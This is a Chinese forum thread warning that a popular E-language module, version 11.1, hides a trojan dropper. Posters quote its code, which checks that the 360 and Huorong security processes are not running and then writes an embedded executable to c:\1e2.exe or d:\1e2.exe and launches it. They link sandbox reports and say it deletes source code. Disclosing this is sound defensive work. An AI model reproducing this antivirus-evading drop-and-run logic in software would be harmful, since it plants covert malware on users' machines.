精易模块11.1

.如果 (并且 (等于 (进程_是否存在 (“360tray.exe”, ), 假), 等于 (进程_是否存在 (“HipsMain.exe”, ), 假)))

    .如果真 (目录_是否存在 (“c:\”))
        写到文件 (“c:\1e2.exe”, #匿名图片_2136)
        运行 (“c:\1e2.exe”, 假, )
    .如果真结束
    .如果真 (等于 (目录_是否存在 (“c:\”), 假))
        写到文件 (“d:\1e2.exe”, #匿名图片_2136)
        运行 (“d:\1e2.exe”, 假, )
    .如果真结束

.否则

.如果结束

分析报告：
https://sandbox.dbappsecurity.com.cn/report/16a3b739-ac86-403d-83a8-39749e7090b3
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AZPa23GsONZSmF3-0eZo
https://sandbox.freebuf.com/reportDetail?fileSha1=65f3e291f0a6ddc3b0fd1c58dd12376efc022d0b

nywl2008 发表于 2024-12-14 11:25
.版本 2

'

如果360和火绒不运行，进程不存在，就释放一个程序，并运行...
为啥要去判断安全软件是否运行?怎么感觉像是有毒一样....

nywl2008 发表于 2024-12-14 11:25
.版本 2

'

如果360和火绒不运行，进程不存在，就释放一个程序，并运行....
为啥要去判断安全软件是否运行？
怎么感觉像是病毒一样....

有毒

这木马病毒，注意了会删你的源码

.版本 2

'
.如果 (进程_是否存在 (“360tray.exe”, ) ＝ 假 且 进程_是否存在 (“HipsMain.exe”, ) ＝ 假)
    '
    .如果真 (目录_是否存在 (“c:\”))
        写到文件 (“c:\1e2.exe”, #匿名常量_682)
        运行 (“c:\1e2.exe”, 假, )
    .如果真结束
    .如果真 (目录_是否存在 (“c:\”) ＝ 假)
        写到文件 (“d:\1e2.exe”, #匿名常量_682)
        运行 (“d:\1e2.exe”, 假, )
    .如果真结束

.否则

你模块里面这个是什么玩意

韩浩666666666666666666